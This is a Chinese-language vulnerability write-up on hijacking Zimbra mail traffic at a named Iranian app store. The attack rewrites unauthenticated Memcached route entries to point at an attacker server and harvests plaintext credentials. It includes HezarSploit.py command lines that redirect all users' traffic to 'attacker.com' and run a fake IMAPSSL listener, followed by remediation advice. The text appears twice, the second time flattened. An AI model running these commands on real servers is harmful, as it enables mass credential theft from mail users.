挖洞经验 | 以SSRF流量转发方式获取Zimbra邮件服务中所有用户明文凭据
字数 1435 2025-08-15 21:31:25

Zimbra邮件服务SSRF漏洞利用与中间人攻击教学文档

1. 漏洞背景

1.1 目标系统介绍

  • Cafebazaar(巴扎应用商店): 伊朗主要安卓应用商店,4000万用户
  • Zimbra协作套件(ZCS): 专业电子邮件软件,提供WebMail、日历、通信录等功能

1.2 漏洞发现环境

  • 目标域名: mailx.hezardastan.net (Cafebazaar的Webmail服务)
  • 关键开放端口:
    • 11211 (Memcached服务)
    • 7993 (IMAPSSL)
    • 7995 (POP3SSL)
    • 8443 (HTTPSSL/HTTPS)

2. 前期信息收集

2.1 端口扫描发现

通过枚举和端口扫描发现:

  1. Memcached服务(11211端口)无需认证
  2. Zimbra将邮箱地址存储在Memcached缓存中
  3. 可对缓存数据进行增删改查操作

2.2 Memcached信息提取

使用Metasploit的memcached_extractor模块提取缓存信息:

  • 通信协议机制
  • 用户名
  • 后端IP地址

3. Zimbra运行机制分析

3.1 认证流程

  1. 用户提供凭据进行身份验证
  2. 邮件服务端在缓存中存储用户名、后台服务URL路径
  3. 用户与Zimbra应用交互
  4. 服务端从缓存获取后台服务路径
  5. 交互伴随用户数据和相应URL服务路径

3.2 缓存数据结构

缓存中存储的用户数据格式:

route:proto=[协议类型];user=[邮箱地址] [IP:端口]

示例:

route:proto=imapssl;user=user1@cafebazaar.ir 127.0.0.1:7993
route:proto=pop3ssl;user=user2@cafebazaar.cloud 127.0.0.1:7995
route:proto=httpssl;user=user3@cafebazaar.ir 127.0.0.1:8443

支持的协议:

  • IMAPSSL: 7993端口
  • POP3SSL: 7995端口
  • HTTPSSL(HTTPS): 8443端口

4. SSRF漏洞利用

4.1 利用思路

  1. 修改后端IP地址指向攻击者控制的IP
  2. 使用自签名SSL证书,在攻击者IP开启SSL监听
  3. 修改目标用户缓存数据,转发流量至攻击者IP

4.2 利用步骤

  1. 识别目标系统中存储的缓存路由信息
  2. 使用Memcached命令修改路由指向攻击者服务器
  3. 在攻击者服务器设置SSL监听服务
  4. 捕获转发过来的流量

5. 中间人攻击实现

5.1 攻击流程

  1. 用户登录邮箱,后端缓存用户凭据
  2. 攻击者修改后端IP为攻击者控制IP
  3. Zimbra应用流量被转发至攻击者服务器
  4. 攻击者通过SSL获取转发流量,提取明文凭据
  5. 攻击者可选择:
    • 直接获取凭据
    • 通过SSL连接目标服务端开放端口
    • 修改缓存转发默认配置

5.2 攻击工具(HezarSploit.py)使用

5.2.1 功能模块

  1. 提取已登录用户邮箱地址:

    python HezarSploit.py -m dumpusers
    
  2. 假冒IMAPSSL服务获取用户凭据:

    python HezarSploit.py -m mitm --port 4444
    
  3. 流量转发至攻击者服务器:

    • 针对所有用户:
      python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444
      
    • 针对特定用户:
      python HezarSploit.py -m poisoning --user user@example.com --ip attacker.com --port 4444
      
  4. 重置缓存转发配置:

    python HezarSploit.py -m reset
    

5.2.2 组合攻击示例

  1. 在攻击者服务器开启监听:

    python HezarSploit.py -m mitm --port 4444
    
  2. 在另一终端执行流量转发:

    python HezarSploit.py -m poisoning --user all --ip attacker.com --port 4444
    

6. 漏洞修复建议

  1. 对Memcached服务实施访问控制:

    • 配置防火墙规则限制访问
    • 启用SASL认证
  2. 修改Zimbra默认配置:

    • 禁止通过Memcached修改关键路由信息
    • 实施输入验证防止SSRF
  3. 网络隔离:

    • 将Memcached服务置于内网
    • 限制邮件服务端口的互联网暴露
  4. 监控与日志:

    • 监控Memcached异常访问
    • 记录路由变更操作

7. 技术总结

本漏洞利用的关键点:

  1. 未认证的Memcached服务暴露
  2. Zimbra将敏感路由信息存储在Memcached中
  3. 可通过修改缓存实现SSRF
  4. 邮件服务端口直接暴露在互联网
  5. 协议流量中包含明文凭据

攻击效果:

  • 获取所有登录用户的明文用户名和密码
  • 完全控制邮件服务流量
  • 可实施进一步的网络渗透
Zimbra邮件服务SSRF漏洞利用与中间人攻击教学文档 1. 漏洞背景 1.1 目标系统介绍 Cafebazaar(巴扎应用商店) : 伊朗主要安卓应用商店,4000万用户 Zimbra协作套件(ZCS) : 专业电子邮件软件,提供WebMail、日历、通信录等功能 1.2 漏洞发现环境 目标域名: mailx.hezardastan.net (Cafebazaar的Webmail服务) 关键开放端口: 11211 (Memcached服务) 7993 (IMAPSSL) 7995 (POP3SSL) 8443 (HTTPSSL/HTTPS) 2. 前期信息收集 2.1 端口扫描发现 通过枚举和端口扫描发现: Memcached服务(11211端口)无需认证 Zimbra将邮箱地址存储在Memcached缓存中 可对缓存数据进行增删改查操作 2.2 Memcached信息提取 使用Metasploit的 memcached_extractor 模块提取缓存信息: 通信协议机制 用户名 后端IP地址 3. Zimbra运行机制分析 3.1 认证流程 用户提供凭据进行身份验证 邮件服务端在缓存中存储用户名、后台服务URL路径 用户与Zimbra应用交互 服务端从缓存获取后台服务路径 交互伴随用户数据和相应URL服务路径 3.2 缓存数据结构 缓存中存储的用户数据格式: 示例: 支持的协议: IMAPSSL: 7993端口 POP3SSL: 7995端口 HTTPSSL(HTTPS): 8443端口 4. SSRF漏洞利用 4.1 利用思路 修改后端IP地址指向攻击者控制的IP 使用自签名SSL证书,在攻击者IP开启SSL监听 修改目标用户缓存数据,转发流量至攻击者IP 4.2 利用步骤 识别目标系统中存储的缓存路由信息 使用Memcached命令修改路由指向攻击者服务器 在攻击者服务器设置SSL监听服务 捕获转发过来的流量 5. 中间人攻击实现 5.1 攻击流程 用户登录邮箱,后端缓存用户凭据 攻击者修改后端IP为攻击者控制IP Zimbra应用流量被转发至攻击者服务器 攻击者通过SSL获取转发流量,提取明文凭据 攻击者可选择: 直接获取凭据 通过SSL连接目标服务端开放端口 修改缓存转发默认配置 5.2 攻击工具(HezarSploit.py)使用 5.2.1 功能模块 提取已登录用户邮箱地址: 假冒IMAPSSL服务获取用户凭据: 流量转发至攻击者服务器: 针对所有用户: 针对特定用户: 重置缓存转发配置: 5.2.2 组合攻击示例 在攻击者服务器开启监听: 在另一终端执行流量转发: 6. 漏洞修复建议 对Memcached服务实施访问控制: 配置防火墙规则限制访问 启用SASL认证 修改Zimbra默认配置: 禁止通过Memcached修改关键路由信息 实施输入验证防止SSRF 网络隔离: 将Memcached服务置于内网 限制邮件服务端口的互联网暴露 监控与日志: 监控Memcached异常访问 记录路由变更操作 7. 技术总结 本漏洞利用的关键点: 未认证的Memcached服务暴露 Zimbra将敏感路由信息存储在Memcached中 可通过修改缓存实现SSRF 邮件服务端口直接暴露在互联网 协议流量中包含明文凭据 攻击效果: 获取所有登录用户的明文用户名和密码 完全控制邮件服务流量 可实施进一步的网络渗透